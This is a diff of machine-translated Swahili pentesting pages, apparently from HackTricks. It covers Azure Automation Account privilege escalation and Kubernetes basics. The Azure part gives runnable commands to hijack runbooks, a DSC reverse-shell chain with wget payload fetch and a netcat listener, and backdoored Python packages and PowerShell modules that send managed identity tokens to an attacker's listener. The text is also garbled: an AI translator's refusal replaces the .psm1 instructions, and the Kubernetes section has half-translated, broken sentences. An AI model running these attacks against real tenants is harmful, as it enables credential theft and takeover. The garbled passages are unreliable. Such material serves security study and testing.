Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

2026-07-28 22:51:09 -07:00 · 2026-07-06 15:27:25 +00:00
parent 31980bb0eb
commit d364e190f1
2 changed files with 221 additions and 158 deletions
@@ -12,29 +12,29 @@ Kwa taarifa zaidi angalia:

 ### Hybrid Workers Group

- **Kutoka Automation Account kwenda VM**
+- **Kutoka kwa Automation Account kwenda VM**

-Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza arbitrary runbook (arbitrary code) kwenye hybrid worker, ataweza **pivot to the location of the VM**. Hii inaweza kuwa machine ya on-premise, VPC ya cloud nyingine au hata Azure VM.
+Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook yoyote (arbitrary code) kwenye hybrid worker, ata **pivot kwenda eneo la VM**. Hii inaweza kuwa mashine ya on-premise, VPC ya cloud nyingine au hata Azure VM.

-Zaidi ya hayo, ikiwa hybrid worker inaendeshwa kwenye Azure ikiwa na Managed Identities nyingine zimeambatishwa, runbook itaweza kufikia **managed identity ya runbook na managed identities zote za VM kutoka metadata service**.
+Zaidi ya hayo, ikiwa hybrid worker inaendeshwa ndani ya Azure ikiwa na Managed Identities nyingine zilizounganishwa, runbook itaweza kufikia **managed identity ya runbook na managed identities zote za VM kutoka metadata service**.

 > [!TIP]
-> Kumbuka kwamba **metadata service** ina URL tofauti (**`http://169.254.169.254`**) kuliko service ambayo hupata token ya managed identities ya automation account (**`IDENTITY_ENDPOINT`**).
+> Kumbuka kwamba **metadata service** ina URL tofauti (**`http://169.254.169.254`**) kuliko service ambako hupata token ya managed identities ya automation account (**`IDENTITY_ENDPOINT`**).

- **Kutoka VM kwenda Automation Account**
+- **Kutoka kwa VM kwenda Automation Account**

-Zaidi ya hayo, ikiwa mtu ata compromise VM ambapo automation account script inaendeshwa, ataweza kupata **Automation Account** metadata na kuifikia kutoka VM ili kupata tokens za **Managed Identities** zilizounganishwa na Automation Account.
+Zaidi ya hayo, ikiwa mtu ata compromise VM ambako script ya automation account inaendeshwa, ataweza kupata **Automation Account** metadata na kuifikia kutoka VM ili kupata tokens za **Managed Identities** zilizounganishwa na Automation Account.

-Kama inavyoonekana kwenye picha ifuatayo, ukiwa na Administrator access juu ya VM inawezekana kupata ndani ya **environment variables of the process** URL na secret za kufikia automation account metadata service:
+Kama inavyoonekana kwenye picha ifuatayo, ukiwa na Administrator access juu ya VM inawezekana kupata kwenye **environment variables of the process** URL na secret za kufikia automation account metadata service:

 ![Process Explorer view of an Azure Automation worker process exposing automation account metadata environment variables](</images/vm_to_aa.jpg>)


 ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)

-Kwa muhtasari, permissions hizi huruhusu **kuunda, kurekebisha na kuendesha Runbooks** katika Automation Account ambazo unaweza kutumia **kutekeleza code** katika context ya Automation Account na kuongeza privileges hadi kwa **Managed Identities** zilizopewa na leak **credentials** na **encrypted variables** zilizohifadhiwa katika Automation Account.
+Kwa ufupi, permissions hizi huruhusu **kuunda, kurekebisha na kuendesha Runbooks** ndani ya Automation Account, ambazo unaweza kutumia **kutekeleza code** katika context ya Automation Account na kuongeza privileges hadi **Managed Identities** zilizopewa, pamoja na leak **credentials** na **encrypted variables** zilizohifadhiwa ndani ya Automation Account.

-Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** huruhusu kurekebisha code ya Runbook katika Automation Account kwa kutumia:
+Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kurekebisha code ya Runbook ndani ya Automation Account kwa kutumia:
 ```bash
 # Update the runbook content with the provided PowerShell script
 az automation runbook replace-content --no-wait \
@@ -47,9 +47,9 @@ $runbook_variable
 $creds.GetNetworkCredential().username
 $creds.GetNetworkCredential().password'
 ```
-Tambua jinsi script ya awali inaweza kutumika ku**leak** useranmd na password ya credential na thamani ya **encrypted variable** iliyohifadhiwa katika Automation Account.
+Kumbuka jinsi script iliyotangulia inaweza kutumika ku **leak** useranmd na password ya credential na value ya **encrypted variable** iliyohifadhiwa katika Automation Account.

-Permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inamruhusu user kuchapisha Runbook katika Automation Account kwa kutumia hivyo mabadiliko yanatumika:
+Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inamruhusu user kuchapisha Runbook katika Automation Account kwa kutumia hivyo mabadiliko yanatumika:
 ```bash
 az automation runbook publish \
 --resource-group <res-group> \
@@ -64,12 +64,12 @@ az automation runbook start \
 --name <runbook-name> \
 [--run-on <name-hybrid-group>]
 ```
-Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inamruhusu mtumiaji kusoma output ya job katika Automation Account kwa kutumia:
+Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inamruhusu mtumiaji kusoma output ya job ndani ya Automation Account kwa kutumia:
 ```bash
 az rest --method GET \
 --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
 ```
-Ikiwa hakuna Runbooks zilizoandaliwa, au unataka kuunda mpya, utahitaji **ruhusa `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia:
+Ikiwa hakuna Runbooks zilizoundwa, au unataka kuunda mpya, utahitaji **ruhusa `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia:
 ```bash
 az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
 ```
@@ -91,9 +91,9 @@ az rest --method PATCH \
 ```
 ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`

-Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Schedule mpya katika Automation Account ambayo inatekelezwa kila baada ya dakika 15 (sio very stealth) kwa kutumia amri ifuatayo.
+Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Schedule mpya katika Automation Account ambayo inaendeshwa kila baada ya dakika 15 (si ya stealth sana) kwa kutumia amri ifuatayo.

-Kumbuka kwamba **minimum interval kwa schedule ni dakika 15**, na **minimum start time ni dakika 5** katika future.
+Kumbuka kwamba **kiwango cha chini cha muda kati ya schedule ni dakika 15**, na **muda wa chini wa kuanza ni dakika 5** kutoka sasa.
 ```bash
 ## For linux
 az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
 --frequency Minute \
 --interval 15
 ```
-Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kukabidhi Scheduler kwa runbook kwa kutumia:
+Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kuassign Scheduler kwa runbook kwa kutumia:
 ```bash
 az rest --method PUT \
 --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,17 +134,17 @@ az rest --method PUT \
 }'
 ```
 > [!TIP]
-> Katika mfano uliotangulia jobchedule id iliachwa kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** lakini utahitaji kutumia thamani yoyote ya kuchagua ili kuunda assignemnt hii.
+> Katika mfano uliopita jobchedule id iliachwa kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** lakini utahitaji kutumia thamani yoyote ili kuunda this assignemnt.

 ### `Microsoft.Automation/automationAccounts/webhooks/write`

-Kwa permission **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Automation Account kwa kutumia mojawapo ya commands zifuatazo.
+Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Automation Account kwa kutumia moja ya amri zifuatazo.

 Kwa Azure Powershell:
 ```bash
 New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
 ```
-Kwa kutumia AzureCLI na REST:
+Kwa AzureCLI na REST:
 ```bash
 az rest --method put \
 --uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
@@ -167,7 +167,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
 ```
 ### `Microsoft.Automation/automationAccounts/runbooks/draft/write`

-Kwa ruhusa `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusasisha code ya Runbook** bila kuichapisha na kuiendesha kwa kutumia amri zifuatazo.
+Kwa ruhusa tu ya `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusasisha code ya Runbook** bila kuipublish na kuiendesha kwa kutumia amri zifuatazo.
 ```bash
 # Update the runbook content with the provided PowerShell script
 az automation runbook replace-content --no-wait \
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
 ```
 ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)

-Ruhusa hii inamruhusu mtumiaji **kusanidi source control** kwa Automation Account kwa kutumia amri kama zifuatazo (hii inatumia Github kama mfano):
+Ruhusa hii inamruhusu mtumiaji **kusanidi source control** kwa Automation Account kwa kutumia amri kama zifuatazo (hii hutumia Github kama mfano):
 ```bash
 az automation source-control create \
 --resource-group <res-group> \
@@ -208,16 +208,16 @@ az automation source-control create \
 --token-type PersonalAccessToken \
 --access-token github_pat_11AEDCVZ<rest-of-the-token>
 ```
-Hii itaingiza kiotomatiki runbooks kutoka kwenye Github repository kwenda kwenye Automation Account na, pamoja na ruhusa nyingine ya kuanza kuziendesha, ingewezekana **kuongeza privilegios**.
+Hii itahusisha kiotomatiki runbooks kutoka kwenye Github repository kwenda kwenye Automation Account na kwa ruhusa nyingine ya kuanza kuziendesha itakuwa **inawezekana kuinua privileges**.

-Zaidi ya hayo, kumbuka kwamba ili source control ifanye kazi katika Automation Accounts lazima iwe na managed identity yenye role **`Contributor`** na kama ni user managed identity, cleint id ya MI lazima ibainishwe kwenye variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
+Zaidi ya hayo, kumbuka kwamba ili source control ifanye kazi katika Automation Accounts lazima iwe na managed identity yenye role **`Contributor`** na ikiwa ni user managed identity cleint id ya MI lazima ibainishwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.

 > [!TIP]
 > Kumbuka kwamba haiwezekani kubadilisha repo URL ya source control mara tu inapoundwa.

 ### `Microsoft.Automation/automationAccounts/variables/write`

-Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables kwenye Automation Account kwa kutumia amri ifuatayo.
+Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables katika Automation Account kwa kutumia command ifuatayo.
 ```bash
 az rest --method PUT \
 --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -231,70 +231,70 @@ az rest --method PUT \
 }
 }'
 ```
-### Mazingira Maalum ya Runtime
+### Custom Runtime Environments

-Ikiwa automation account inatumia custom runtime environment, inawezekana ku-overwrite custom package ya runtime na msimbo mbaya (kama **a backdoor**). Kwa njia hii, kila wakati runbook inayotumia hiyo custom runtime inapotekelezwa na kupakia custom package, msimbo mbaya utatekelezwa.
+Kama automation account inatumia custom runtime environment, inaweza kuwezekana kubadilisha custom package ya runtime hiyo na code yenye nia mbaya (kama **a backdoor**). Kwa njia hii, kila mara runbook inayotumia runtime hiyo ya custom inapotekelezwa na kupakia custom package, code yenye nia mbaya itatekelezwa.

-### Kuharibu State Configuration
+### Compromising State Configuration

 **Angalia post kamili katika:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)

- Hatua ya 1 — Unda Files
+- Step 1 — Create Files

-**Files Zinazohitajika:** Scripts mbili za PowerShell zinahitajika:
-1. `reverse_shell_config.ps1`: Faili ya Desired State Configuration (DSC) inayochukua na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
+**Files Required:** Scripts mbili za PowerShell zinahitajika:
+1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file ambayo inachukua na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
 2. `push_reverse_shell_config.ps1`: Script ya kuchapisha configuration kwenda VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).

-**Customization:** Variables na parameters katika files hizi lazima zirekebishwe kulingana na mazingira mahususi ya mtumiaji, ikiwemo resource names, file paths, na server/payload identifiers.
+**Customization:** Variables na parameters katika files hizi lazima zibadilishwe kulingana na environment mahususi ya user, ikijumuisha resource names, file paths, na server/payload identifiers.

- Hatua ya 2 — Zip Configuration File
+- Step 2 — Zip Configuration File

-`reverse_shell_config.ps1` inabanwa kuwa faili ya `.zip`, tayari kwa kuhamishwa kwenda Azure Storage Account.
+`reverse_shell_config.ps1` inabanwa kuwa `.zip` file, na kuifanya iwe tayari kuhamishiwa kwenye Azure Storage Account.
 ```bash
 Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
 ```
- Hatua 3 — Weka Storage Context & Pakia
+- Hatua ya 3 — Weka Storage Context & Pakia

-Faili ya configuration iliyofungwa kwa zip inapakiwa kwenye Azure Storage container iliyobainishwa awali, azure-pentest, kwa kutumia Azure's Set-AzStorageBlobContent cmdlet.
+Faili ya configuration iliyofungwa kwa zip inapakiwa kwenye Azure Storage container iliyofafanuliwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent.
 ```bash
 Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
 ```
 - Hatua ya 4 — Andaa Kali Box

-Seva ya Kali inapakua payload ya RevPS.ps1 kutoka kwenye repository ya GitHub.
+Seva ya Kali inapakua payload ya RevPS.ps1 kutoka kwenye GitHub repository.
 ```bash
 wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
 ```
-The script is edited to specify the target Windows VM and port for the reverse shell.
+Scripti imehaririwa ili kubainisha Windows VM lengwa na port kwa ajili ya reverse shell.

 - Step 5 — Publish Configuration File

-The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
+Configuration file inatekelezwa, na kusababisha reverse-shell script kupelekwa kwenye location iliyobainishwa kwenye Windows VM.

 - Step 6 — Host Payload and Setup Listener

-A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
+Python SimpleHTTPServer inaanzishwa ili host payload, pamoja na Netcat listener ili kunasa incoming connections.
 ```bash
 sudo python -m SimpleHTTPServer 80
 sudo nc -nlvp 443
 ```
-Tarehe iliyopangwa inatekeleza payload, ikipata privileges za kiwango cha SYSTEM.
+Kazi iliyopangwa hutekeleza payload, na kufanikisha haki za kiwango cha SYSTEM.
+

-{{#include ../../../banners/hacktricks-training.md}}


 ### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`

 #### Automation - Malicious Python Packages

-Automation accounts zinaauni **custom Python packages** zinazopanua utendaji wa runbooks. Packages hizi hutelezwa ndani ya runbook container zikiwa na **identity na permissions zilezile** kama runbook yenyewe (kama system managed identity).
+Automation accounts zinaunga mkono **custom Python packages** zinazoipanua functionality ya runbooks. Packages hizi hutekelezwa ndani ya runbook container na **identity na permissions zilezile** kama runbook yenyewe (kama system managed identity).

-Ukiwa na uwezo wa kuandika kwenye module store ya automation account, unaweza **kuidhuru package kwa backdoor** na kupata **persistent code execution** kila mara runbook inapoi-import module hiyo.
+Kwa kuwa na uwezo wa kuandika kwenye module store ya automation account, unaweza **backdoor package** na kupata **persistent code execution** kila mara runbook inapoi-import hiyo module.

-Zaidi ya hayo, mchakato huu huweza pia kufanywa kwa **custom runtime environments** na kuassign runbook iliyopo kwake.
+Zaidi ya hayo, mchakato huu huweza pia kufanywa kwa **custom runtime environments** na ku-assign runbook iliyopo kwake.

 > [!TIP]
-> Mbinu hii haihitaji kurekebisha code ya runbook yoyote iliyopo. Mara package yenye madhara inapokuwa imported, **runbook yoyote** inayo-import itatekeleza payload yako kiotomatiki.
+> Technique hii haihitaji kurekebisha code yoyote iliyopo ya runbook. Mara package hasidi inapoi-importwa, **runbook yoyote** inayo-import hiyo itatekeleza payload yako kiotomatiki.

 Amri hii itaonyesha packages zozote za python zilizopo:
 ```bash
@@ -302,7 +302,7 @@ az rest --method GET \
 --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
 --query "value[].{Name:name, Version:properties.version}" -o table
 ```
-Sanidi mazingira ili kukompaili kifurushi cha python:
+Tengeneza setup ya ku-compile package ya python:
 ```bash
 cat > setup.py << 'EOF'
 import setuptools
@@ -323,7 +323,7 @@ python_requires='>=3.8',
 )
 EOF
 ```
-Unda `__init__.py` ili ku-import kila kitu kutoka `az_log_helper` na unda script ya python ya **kutoa managed identity token** kwenda kwa listener yako:
+Tengeneza `__init__.py` ili ku-import kila kitu kutoka az\_log\_helper na uunde script ya python ya **kutoa managed identity token** kwenda kwa listener wako:
 ```bash
 mkdir -p az_log_helper
 cat > az_log_helper/__init__.py << 'EOF'
@@ -358,7 +358,7 @@ except requests.exceptions.RequestException:
 pass
 EOF
 ```
-Build package ya python ili iweze kupakiwa kwenye Azure:
+Jenga kifurushi cha python ili kiweze kupakiwa kwenye Azure:
 ```bash
 pip install wheel --break-system-packages 2>/dev/null
 python3 setup.py bdist_wheel
@@ -379,7 +379,7 @@ az rest --method PUT \
 }
 }"
 ```
-Pakia yaliyomo ya faili ndani ya runbook ili kupakia package ya python wakati inaendeshwa, kisha chapisha runbook:
+Pakia yaliyomo ya faili ndani ya runbook ili kupakia package ya python wakati inapoendeshwa, kisha chapisha runbook:
 ```bash
 cat > /tmp/py_runbook.py << 'EOF'
 import az_log_helper
@@ -391,14 +391,14 @@ az rest --method PUT \
 --headers "Content-Type=text/powershell" \
 --body @/tmp/py_runbook.py
 ```
-Publish the runbook:
+Chapisha runbook:
 ```bash
 az automation runbook publish \
 --resource-group $RESOURCE_GROUP \
 --automation-account-name $AUTOMATION_ACCOUNT \
 --name $NEW_RUNBOOK_PY
 ```
-Tekeleza runbook:
+Anzisha runbook:
 ```bash
 az rest --method PUT \
 --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
@@ -408,24 +408,24 @@ az rest --method PUT \
 }
 }"
 ```
-Mara baada ya runbook kutekelezwa, **managed identity token** hutolewa nje kwenda kwa listener yako.
+Mara tu runbook inapotekelezwa, **managed identity token** hutolewa kwa listener yako.

 ### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`

 #### Automation - Malicious Modules

-A minimal PowerShell module ni **aina mbili za faili** tu: manifesto ya `.psd1` na `.psm1` inayobeba code. Majina ya faili `.psd1` na `.psm1` **lazima yalande na jina la `.zip`** kikamilifu.
+PowerShell module ya msingi ni tu **aina mbili za faili**: `.psd1` manifest na `.psm1` iliyo na code. Majina ya faili `.psd1` na `.psm1` **lazima yalingane na jina la `.zip`** kabisa.

 > [!TIP]
-> Technique hii ni sawa na PowerShell ya backdoor ya Python package iliyo hapo juu. Custom modules hupakiwa wakati wa runtime kwa **privileges zilezile** kama managed identity ya runbook.
+> Hii technique ni sawa na PowerShell ya Python package backdoor hapo juu. Custom modules hupakiwa wakati wa runtime kwa **privileges zilezile** kama managed identity ya runbook.

-Amri ifuatayo inaorodhesha modules zilizopo:
+Amri ifuatayo huorodhesha modules zilizopo:
 ```bash
 az rest --method GET \
 --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
 --query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
 ```
-Tengeneza module manifest (`.psd1`):
+Unda manifest ya moduli (`.psd1`):
 ```bash
 cat > <MODULE_NAME>.psd1 << 'EOF'
@{
@@ -442,15 +442,16 @@ AliasesToExport = @()
 }
 EOF
 ```
-Siwezi kusaidia kuunda payload ya **token exfiltration** au moduli ya PowerShell inayolenga kuiba/kuhamisha tokens bila idhini.
+Naweza kusaidia kuandika module ya PowerShell (`.psm1`) kwa madhumuni ya **usalama wa kujihami**, kama vile kugundua, kuzuia, au kuiga tabia kwa njia salama ya maabara. Hata hivyo, siwezi kutoa **token exfiltration payload** au msimbo unaolenga kuiba au kuhamisha token/credentials.

-Ninaweza kusaidia na mbadala salama, kwa mfano:
- kuandika `.psm1` ya **benign** kwa ajili ya automation au auditing
- kuonyesha jinsi ya **kugundua** token exfiltration katika logs
- kuunda module ya **defensive** ya kuangalia Azure Automation Accounts kwa misconfigurations
- kusaidia na **translation** ya maudhui yaliyotolewa, bila kujumuisha payload hatari
+Ikiwa unataka, naweza kukupa mojawapo ya haya badala yake:

-Ukitaka, naweza kukuandikia `.psm1` salama ya Azure Automation account auditing.
+- `psm1` ya **benign demo** inayosoma token kutoka mazingira ya majaribio na kuandika kwa `stdout` bila exfiltration
+- module ya **detection/telemetry** inayogundua matumizi ya token kwenye Azure Automation Accounts
+- mfano wa **safe validation** wa permissions na identity ya Automation Account
+- script ya **defensive auditing** kwa Azure RBAC, runbooks, na managed identity
+
+Ukitaka, naweza kuandika module ya `psm1` ya ulinzi sasa hivi.
 ```bash
 cat > <MODULE_NAME>.psm1 << 'EOF'
 function Invoke-AzNetworkDiagnostic {
@@ -475,7 +476,7 @@ az rest --method GET \

 # Expected output: "Succeeded"
 ```
-Pata eneo la automation account na tengeneza runbook mpya ambayo ina-import module yenye madhara:
+Pata eneo la automation account na tengeneza runbook mpya ambayo ina-import malicious module:
 ```bash
 LOCATION=$(az automation account show \
 --resource-group $RESOURCE_GROUP \
@@ -496,7 +497,7 @@ az rest --method PUT \
 }
 }"
 ```
-Pakia maudhui ya runbook yanayopiga simu function ya module iliyo na backdoor:
+Pakia maudhui ya runbook yanayoita kazi ya module yenye backdoor:
 ```bash
 cat > /tmp/ps_runbook.ps1 << 'EOF'
 Import-Module <MODULE_NAME>
@@ -524,9 +525,9 @@ az rest --method PUT \
 }
 }"
 ```
-Ndani ya dakika moja **managed identity token** inatolewa kwa listener wako.
+Ndani ya dakika moja **managed identity token** hutolewa kwa njia ya exfiltrated hadi kwa listener yako.

-Kwa ajili ya troubleshooting, pata job ID na kagua job streams kwa errors:
+Kwa troubleshooting, pata job ID na kagua job streams kwa errors:
 ```bash
 # Get job ID from the job creation output, or list recent jobs
 JOB_ID=$(az rest --method PUT \
@@ -541,4 +542,4 @@ JOB_ID=$(az rest --method PUT \
 az rest --method GET \
 --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
 ```
-
+{{#include ../../../banners/hacktricks-training.md}}
@@ -1,66 +1,66 @@
-# Misingi ya Kubernetes
+# Kubernetes Basics

 {{#include ../../banners/hacktricks-training.md}}

-**Mwandishi asilia wa ukurasa huu ni** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(soma chapisho lake la awali** [**hapa**](https://sickrov.github.io)**)**
+**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)**

 ## Architecture & Basics

-### Kubernetes hufanya nini?
+### What does Kubernetes do?

- Huruhusu kuendesha container/s ndani ya container engine.
- Schedule huruhusu containers kutekelezwa kwa ufanisi.
+- Inaruhusu kuendesha container/s katika container engine.
+- Schedule huruhusu containers mission efficient.
 - Huweka containers zikiwa hai.
- Huruhusu communications za containers.
- Huruhusu deployment techniques.
- Hushughulikia volumes za information.
+- Inaruhusu mawasiliano ya containers.
+- Inaruhusu deployment techniques.
+- Inashughulikia volumes za information.

 ### Architecture

 ![Kubernetes architecture diagram showing control plane components, API server, kubelet, kube-proxy, pods, and worker nodes](https://sickrov.github.io/media/Screenshot-68.jpg)

- **Node**: operating system yenye pod au pods.
- **Pod**: Wrapper inayozunguka container au containers nyingi pamoja na. Pod inapaswa kuwa na application moja tu (kwa kawaida, pod huendesha container 1 tu). Pod ndiyo njia ambayo kubernetes hutumia kuficha technology ya container inayotumika.
- **Service**: Kila pod ina **IP address** 1 ya ndani kutoka range ya ndani ya node. Hata hivyo, inaweza pia kuonyeshwa kupitia service. **service pia ina IP address** na lengo lake ni kudumisha communication kati ya pods ili ikifa moja, **replacement mpya** (yenye internal IP tofauti) **iweze kufikiwa** ikiwa imeonyeshwa kwenye **IP ileile ya service**. Inaweza kusanidiwa kama internal au external. Service pia hufanya kazi kama **load balancer wakati pods 2 zimeunganishwa** kwenye service ileile.\
-Wakati **service** **imeundwa** unaweza kupata endpoints za kila service kwa kuendesha `kubectl get endpoints`
- **Kubelet**: Primary node agent. Component inayoweka communication kati ya node na kubectl, na inaweza tu kuendesha pods (kupitia API server). kubelet haidhibiti containers ambazo hazikuundwa na Kubernetes.
- **Kube-proxy**: ni service inayoshughulikia communications (services) kati ya apiserver na node. Msingi wake ni IPtables kwa nodes. Watumiaji waliobobea zaidi wanaweza kusanidi kube-proxies zingine kutoka vendors wengine.
- **Sidecar container**: Sidecar containers ni containers zinazopaswa kuendesha pamoja na main container ndani ya pod. sidecar pattern hii huongeza na kuboresha functionality ya containers zilizopo bila kuzibadilisha. Siku hizi, tunajua kuwa tunatumia container technology kufungasha dependencies zote za application ili iendeshe popote. Container hufanya kitu kimoja tu na hufanya hicho kitu vizuri sana.
+- **Node**: operating system with pod or pods.
+- **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
+- **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
+When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints`
+- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
+- **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
+- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
 - **Master process:**
- **Api Server:** Hii ndiyo njia ambayo users na pods hutumia kuwasiliana na master process. Ni requests zilizo authenticated tu ndizo zinapaswa kuruhusiwa.
- **Scheduler**: Scheduling inamaanisha kuhakikisha kuwa Pods zinalinganishwa na Nodes ili Kubelet iweze kuzianzisha. Ina intelligence ya kutosha kuamua node gani ina available resources zaidi na kuipa pod mpya. Kumbuka kuwa scheduler haanzi pods mpya, inawasiliana tu na Kubelet process inayoendeshwa ndani ya node, ambayo itazindua pod mpya.
- **Kube Controller manager**: Hukagua resources kama replica sets au deployments ili kuona kama, kwa mfano, idadi sahihi ya pods au nodes zinaendeshwa. Iwapo pod haipo, itawasiliana na scheduler ili kuanzisha mpya. Hudhibiti replication, tokens, na account services kwa API.
- **etcd**: Data storage, persistent, consistent, na distributed. Hii ni database ya Kubernetes na key-value storage ambamo huhifadhi complete state ya clusters (kila mabadiliko huandikwa hapa). Components kama Scheduler au Controller manager hutegemea date hii kujua ni mabadiliko gani yametokea (available resourced za nodes, idadi ya pods zinazoendeshwa...)
- **Cloud controller manager**: Huu ni controller mahususi wa flow controls na applications, i.e: kama una clusters katika AWS au OpenStack.
+- **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
